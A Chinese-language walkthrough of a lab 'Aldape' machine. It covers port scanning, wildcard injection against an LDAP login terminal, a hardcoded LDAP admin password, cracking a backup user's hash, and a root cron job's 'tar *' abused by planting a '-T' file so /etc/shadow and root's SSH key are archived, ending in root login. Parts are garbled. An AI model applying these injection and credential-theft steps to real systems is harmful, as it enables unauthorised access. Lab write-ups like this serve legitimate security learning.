

Aldape

```

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0 (protocol 2.0)
389/tcp    open  ldap      OpenLDAP 2.2.X - 2.3.X
8084/tcp   open  websnp?

```

```
| fingerprint-strings:
```

```
|   FourOhFourRequest, GenericLines, GetRequest:
```

```
|
|   -----
|   ____/
|   /____/ /_/ / ____ |/ ____/ /____
|   |_/_____/_____/ / |_/ / /_____/
|   INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
|   IDENTIFICATION REQUIRED
|   Username: Password:
|   NULL:
```

```
|
|   -----
|   ____/
|   /____/ /_/ / ____ |/ ____/ /____
|   |_/_____/_____/ / |_/ / /_____/
|   INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
|   IDENTIFICATION REQUIRED
|_   Username:
```

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```
SF-Port8084-TCP:V=7.99%I=7%D=5/11%Time=6A01C777%P=i686-pc-
windows-windows%
```

```
SF:r(NULL,12B,"\\n\\x20\\x20\\x20\\x20____\\x20\\x20\\x20\\x20____\\x20\\x20\\x20\\x20____
```

```
SF:\\x20\\x20____\\x20\\x20\\x20\\x20____\\x20\\x20____\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20
```

```
SF:0|\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20____\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
```

```
SF:_\\x20\\x20\\x20____\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
```

```
SF:20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n
```

```
SF:\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
```

```
SF:\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
```

```
SF:0\\x20\\n>>\\x20INTERNAL\\x20DIRECTORY\\x20AUTH\\x20TERMINAL\\x20v1.0\\x20<<\\n
```

```
SF:\\n\\
```

```
[!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20")%r(GetReque  
st,135  
SF:,"\\n\\x20\\x20\\x20\\x20___\\x20\\x20\\x20\\x20___\\x20\\x20\\x20\\x20___  
___\\x20\\x20___  
SF: _\\x20\\x20\\x20\\x20____\\x20\\x20_____\\n\\x20\\x20\\x20/\\x20\\x20\\  
x20\\|\\x20\\x2  
SF:0/\\x20/\\x20\\x20\\x20/\\x20___\\x20\\|/\\x20\\x20\\x20\\|\\x20\\x20/\\x2  
0___\\x20\\|/\\x  
SF:20____/\\n\\x20\\x20/\\x20/\\|\\x20\\|\\x20/\\x20/\\x20\\x20\\x20/\\x20/  
\\x20/\\x20/\\x  
SF:20/\\|\\x20\\|\\x20/\\x20/_/\\x20/\\x20___/\\x20\\x20\\x20\\n\\x20/\\x20_  
___\\x20\\|/\\x2  
SF:0/___/\\x20/_/\\x20/\\x20___\\x20\\|/\\x20____/\\x20/___\\x20\\x20\\x  
20\\n/_/\\x20\\  
SF:x20\\|_/_____/_____/_/\\x20\\x20\\|_/_/\\x20\\x20\\x20/_____/\\x20\\  
x20\\x20\\n>>\\  
SF:x20INTERNAL\\x20DIRECTORY\\x20AUTH\\x20TERMINAL\\x20v1\\.0\\x20<<  
\\n\\n[!\\]\\x2  
SF:0IDENTIFICATION\\x20REQUIRED\nUsername:\x20Password:\x20")%r  
(Four0hFourR  
SF:equest,135,"\\n\\x20\\x20\\x20\\x20___\\x20\\x20\\x20\\x20___\\x20\\x20  
\\x20\\x20____  
SF:\\x20\\x20___\\x20\\x20\\x20\\x20____\\x20\\x20_____\\n\\x20\\x20\\x20  
/\\x20\\x20\\x2  
SF:0\\|\\x20\\x20/\\x20/\\x20\\x20\\x20/\\x20___\\x20\\|/\\x20\\x20\\x20\\|\\x  
20\\x20/\\x20_  
SF:_\\x20\\|/\\x20____/\\n\\x20\\x20/\\x20/\\|\\x20\\|\\x20/\\x20/\\x20\\x20  
\\x20/\\x20/\\x  
SF:20/\\x20/\\x20/\\|\\x20\\|\\x20/\\x20/_/\\x20/\\x20___/\\x20\\x20\\x20\\n  
\\x20/\\x20___  
SF:\\x20\\|/\\x20/___/\\x20/_/\\x20/\\x20___\\x20\\|/\\x20____/\\x20/___  
\\x20\\x20\\x20  
SF:\\n/_/\\x20\\x20\\|_/_____/_____/_/\\x20\\x20\\|_/_/\\x20\\x20\\x20/_  
_____/\\x20\\x2  
SF:0\\x20\\n>>\\x20INTERNAL\\x20DIRECTORY\\x20AUTH\\x20TERMINAL\\x20v  
1\\.0\\x20<<\\n  
SF:\\n\\  
[!\\]\\x20IDENTIFICATION\\x20REQUIRED\nUsername:\x20Password:\x20  
")%r(G  
SF:enericLines,135,"\\n\\x20\\x20\\x20\\x20___\\x20\\x20\\x20\\x20___\\x2  
0\\x20\\x20\\x2  
SF:0____\\x20\\x20___\\x20\\x20\\x20\\x20____\\x20\\x20_____\\n\\x20\\x2  
0\\x20/\\x20\\x
```

```
SF:20\x20\|\x20\x20/\x20/\x20\x20\x20/\x20__\x20\\/\x20\x20\x20
0\|\x20\x20/
SF:\x20__\x20\\/\x20____/\n\x20\x20/\x20/\|\x20\|\x20/\x20/\x20
0\x20\x20/\x
SF:20/\x20/\x20/\x20/\|\x20\|\x20/\x20/_/\x20/\x20__/\x20\x20\
x20\n\x20/\x
SF:20__\x20\|/\x20/____/\x20/_/\x20/\x20__\x20\|/\x20____/\x2
0/____\x20\x2
SF:0\x20\n/_/\x20\x20\|_/_____/_____/_/\x20\x20\|_/_/x20\x20\
x20/_____/x
SF:20\x20\x20\n>>\x20INTERNAL\x20DIRECTORY\x20AUTH\x20TERMINAL
\x20v1\.\0\x2
SF:0<<\n\n\
[!\]\x20IDENTIFICATION\x20REQUIRED\nUsername:\x20Password:\x20
"
SF:);
MAC Address: 08:00:27:8C:D6:90 (Oracle VirtualBox virtual NIC)
```

可以看到开了22、389、8084的端口，其中389是ldap服务，8084服务不太清楚，但是根据扫描结果看出来应该是一个cli服务

尝试直接nc连接8084端口，这里需要认证，判断应该是要从其他入口获取信息，但是ldap没有认证相关的内容也拿不到信息

```
> nc 192.168.56.121 8084
```



```
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
```

```
[!] IDENTIFICATION REQUIRED
```

```
Username: 
```

询问了AI后尝试对这个服务进行通配符注入

[!] IDENTIFICATION REQUIRED

Password: *

[*] NODE_INFO: Out of office. For any urgent issues, please contact tonglinggejimo@aldape.dsz.

泄露了用户名（怎么是我id啊），尝试认证，账号和密码是一致的。接着同时尝试ssh登录，账号也是 **tonglinggejimo/tonglinggejimo** 发现拿到shell

[illegible]

当前用户没有suid权限，查看 `passwd` 发现还有 `backup_admin` 用户，判断可能要横移拿到这个用户权限再进行利用，查看一下当前进程，发现了root启动的脚本，尝试去看一下脚本内容

```
ps aux
1992 root      0:00 [kworker/R-eth4-]
2204 root      0:00 /sbin/udhcpd -b -R -p /var/run/udhcpd.eth0.pid -i eth0 -x hostname:Al
2309 root      0:00 /sbin/syslogd -t -n
2336 root      0:00 /sbin/acpid -f
2364 ldap      0:00 /usr/sbin/slapd -u ldap -g ldap -l DAEMON -d0 -f /etc/openldap/slapd.
2391 root      0:00 /usr/bin/python3 /opt/authtool/app.py
2417 root      0:00 /usr/sbin/crond -c /etc/crontabs -f
2443 ntp        0:00 /usr/sbin/ntpd -N -p pool.ntp.org -n
2473 root      0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2535 root      0:00 /sbin/getty -I \033c 38400 tty1
2536 root      0:00 /sbin/getty 38400 tty2
2540 root      0:00 /sbin/getty 38400 tty3
2544 root      0:00 /sbin/getty 38400 tty4
2548 root      0:00 /sbin/getty 38400 tty5
2552 root      0:00 /sbin/getty 38400 tty6
2558 root      0:00 sshd-session: tonglinggejimo [priv]
2560 tongling   0:00 sshd-session: tonglinggejimo@pts/0
2561 tongling   0:00 bash --rcfile /dev/fd/63
2751 tongling   0:00 ps aux
```

其中发现了ldap的admin密码:

```
LDAP_SERVER = 'ldap://127.0.0.1:389'
BASE_DN = 'dc=aldape,dc=dsz'
BIND_DN = 'cn=admin,dc=aldape,dc=dsz'
BIND_PW = '30almaz'
```

SHELL

根据拿到的ldap的admin凭证, 列出该目录下的所有条目内容:

```
ldapsearch -x -H ldap://127.0.0.1:389 -D
"cn=admin,dc=aldape,dc=dsz" -w '30almaz' -b
"dc=aldape,dc=dsz" "(objectClass=*)"

# backup_admin, users, aldape.dsz
dn: uid=backup_admin,ou=users,dc=aldape,dc=dsz
objectClass: inetOrgPerson
cn: Backup Administrator
sn: Backup
uid: backup_admin
userPassword::
e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=
description: Account for backup jobs.
```

SHELL

其中看到有 **backup_admin** 的用户密码, base64编码, 解密后是哈希值拿john爆一下


```
SHELL
echo 'e1NTSEF9SUVSL0Js0VhLSFBnQTZMR0xBMkRrbk95cVpIODJtd3U=' |
base64 -d | tee backup
{SSHA}IER/BL9XKHPgA6LGLA2Dkn0yqZH82mwu

john ./backup -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Salted-SHA1 [SHA1 128/128 SSE2 4x])
No password hashes left to crack (see FAQ)

john ./backup --show
?:1prorodeo
```

拿到密码凭证 **1prorodeo**，尝试ssh登录，拿到shell

```
base ~/Tools/security (2.118s)
ssh backup_admin@192.168.56.121
backup_admin@192.168.56.121's password:

backup_admin@Aldape:~ (0.078s)
sort: unrecognized option: C
BusyBox v1.37.0 (2025-11-21 22:40:56 UTC) multi-call binary.

Usage: sort [-nrughMcszbdfiokt] [-o FILE] [-k START[.OFS][OPTS][,END[.OFS][OPTS]] [-t CHAR]
[FILE]...

Sort lines of text
```

登录到 **backup_admin** 后发现没有预想中的suid权限，跑一下 **pspy**，可以看到存在进程运行：

```
2026/05/12 12:28:43 CMD: UID=??? PID=26068 | ???
2026/05/12 12:29:00 CMD: UID=0 PID=26069 | /usr/sbin/crond -c /etc/crontabs -f
2026/05/12 12:29:00 CMD: UID=0 PID=26070 | gzip -f
2026/05/12 12:30:00 CMD: UID=0 PID=26072 | /bin/bash -c cd /opt/backup_source && tar -
zcf /var/backups/data/backup.tar.gz *
2026/05/12 12:30:00 CMD: UID=0 PID=26071 | /usr/sbin/crond -c /etc/crontabs -f
2026/05/12 12:30:00 CMD: UID=0 PID=26073 | gzip -f
2026/05/12 12:31:00 CMD: UID=0 PID=26074 | /usr/sbin/crond -c /etc/crontabs -f
2026/05/12 12:31:00 CMD: UID=0 PID=26075 |
2026/05/12 12:32:00 CMD: UID=0 PID=26076 |
2026/05/12 12:32:00 CMD: UID=0 PID=26077 | gzip -f
2026/05/12 12:33:00 CMD: UID=0 PID=26078 | /bin/bash -c cd /opt/backup_source && tar -
zcf /var/backups/data/backup.tar.gz *
2026/05/12 12:33:00 CMD: UID=0 PID=26079 | gzip -f
```

可以看到定时执行把所有 **/opt/backup_source**（backup_admin是属主）的文件夹下的文件打包成gzip的压缩包，且是通过通配符 ***** 实现的，那么就可以在这里尝试伪造参数注入

假如当前目录下有两个文件：**a.txt**、**b.log**

执行 **tar -zcf 123.tar.gz *** 时，实际上shell会展开当前目录下所有可见的文件，即执行 **tar -zcf 123.tar.gz a.txt b.log**，比如：

```
> touch a.txt b.log
> ls
a.txt  b.log
> echo tar -zcf 123.tar.gz *
tar -zcf 123.tar.gz a.txt b.log
```

所以在这里可以尝试利用：扒拉一下参数，看到 **-T** 能够包含文件里的内容

```
tar --help
BusyBox v1.37.0 (2025-11-21 22:40:56 UTC) multi-call binary.
```

```
Usage: tar c|xt [-ZzJjahmvokO] [-f TARFILE] [-C DIR] [-T
FILE] [-X FILE] [LONGOPT]... [FILE]...
```

Create, extract, or list files from a **tar file**

```
c  Create
x  Extract
t  List
-f FILE Name of TARFILE ('-' for stdin/out)
-C DIR  Change to DIR before operation
-v  Verbose
-O  Extract to stdout
-m  Don't restore mtime
-o  Don't restore user:group
-k  Don't replace existing files
-Z  (De)compress using compress
-z  (De)compress using gzip
-J  (De)compress using xz
-j  (De)compress using bzip2
--lzma (De)compress using lzma
-a  (De)compress based on extension
-h  Follow symlinks
-T FILE File with names to include
-X FILE File with glob patterns to exclude
--exclude PATTERN  Glob pattern to exclude
--overwrite        Replace existing files
--strip-components NUM  NUM of leading components to strip
--no-recursion      Don't descend in directories
--numeric-owner     Use numeric user:group
--no-same-permissions  Don't restore access permissions
```


那么就可以直接尝试把 **ssh** 密钥和 **shadow** 偷出来

SHELL

```
# 创建需要打包的所有文件的目录文件
cat > exp.txt <<'EOF'
/root/root.txt
/etc/shadow
/etc/crontabs/root
/root/.ssh
EOF

touch ./-T
```

解压被打包后的压缩包，可以看到有私钥存在：

SHELL

```
cd /var/backups/data/

tar -xzf ./backup.tar.gz -C ~

ls -la ~/root/
total 16
drwxr-sr-x    3 tonglinggejimo tonglinggejimo    4096 May 12
13:07 .
drwxr-sr-x    4 tonglinggejimo tonglinggejimo    4096 May 12
13:07 ..
drwx--S---    2 tonglinggejimo tonglinggejimo    4096 May 12
13:07 .ssh
-rw-r--r--    1 tonglinggejimo tonglinggejimo      44 Apr  7
21:01 root.txt
ls -la ~/root/.ssh/
total 20
drwx--S---    2 tonglinggejimo tonglinggejimo    4096 May 12
13:07 .
drwxr-sr-x    3 tonglinggejimo tonglinggejimo    4096 May 12
13:07 ..
-rw-r--r--    1 tonglinggejimo tonglinggejimo      93 Apr  8
19:49 authorized_keys
-rw-----    1 tonglinggejimo tonglinggejimo     399 Apr  8
19:48 id_ed25519
-rw-r--r--    1 tonglinggejimo tonglinggejimo      93 Apr  8
19:48 id_ed25519.pub
```

保存下来后就可以通过私钥免密ssh登录root了

```
b3B1bnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACDao4St/d6PUIVFJt2oMqRI m0Lhn/0rr2YbWR0Bwaq6qwAAAJA8wFY0PMBW
DgAAAAAtzc2gtZWQyNTUxOQAAACDao4St/d6PUIVFJt2oMqRI m0Lhn/0rr2YbWR0Bwaq6qw
AAAEcGyGJH6Q4D0DIgmvQExcycbaJG A1q22L23qyG74aAv49qj hK393o9qhUUm3agypEiY
4uGf/SuvZhtZHqFZqrqrAAAAC3Jvb3RAQWxkYXB1AQI=
-----END OPENSSH PRIVATE KEY-----
```

 **tonglinggejimo@Aldape**

```
📁 /var/backups/data
```

```
ssh -i ./tmp.key root@192.168.56.121
```

```
base /tmp
```

orb

```
> echo '-----BEGIN OPENSSH PRIVATE KEY-----'
```

```
b3B1bnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACDao4St/d6PUIVFJt2oMqRIm0Lhn/0rr2YbWR0Bwaq6qwAAAJA8wFYOPMBW
DgAAAAAtzc2gtZWQyNTUxOQAAACDao4St/d6PUIVFJt2oMqRIm0Lhn/0rr2YbWR0Bwaq6qw
AAAEcGyGJH6Q4D0DIgmvQExcycbaJGA1q22L23qyG74aAv49qjhK393o9qhUUm3agypEiY
4uGf/SuvZhtZHqFZqrqrAAAAC3Jvb3RAQWxkYXBlaQI=
-----END OPENSSH PRIVATE KEY-----'> tmp.key
```

```
> chmod 600 ./tmp.key
```

```
> ssh -i ./tmp.key root@192.168.56.121
```

```
root@Aldape:~# whoami
```

root

```
root@Aldape:~#
```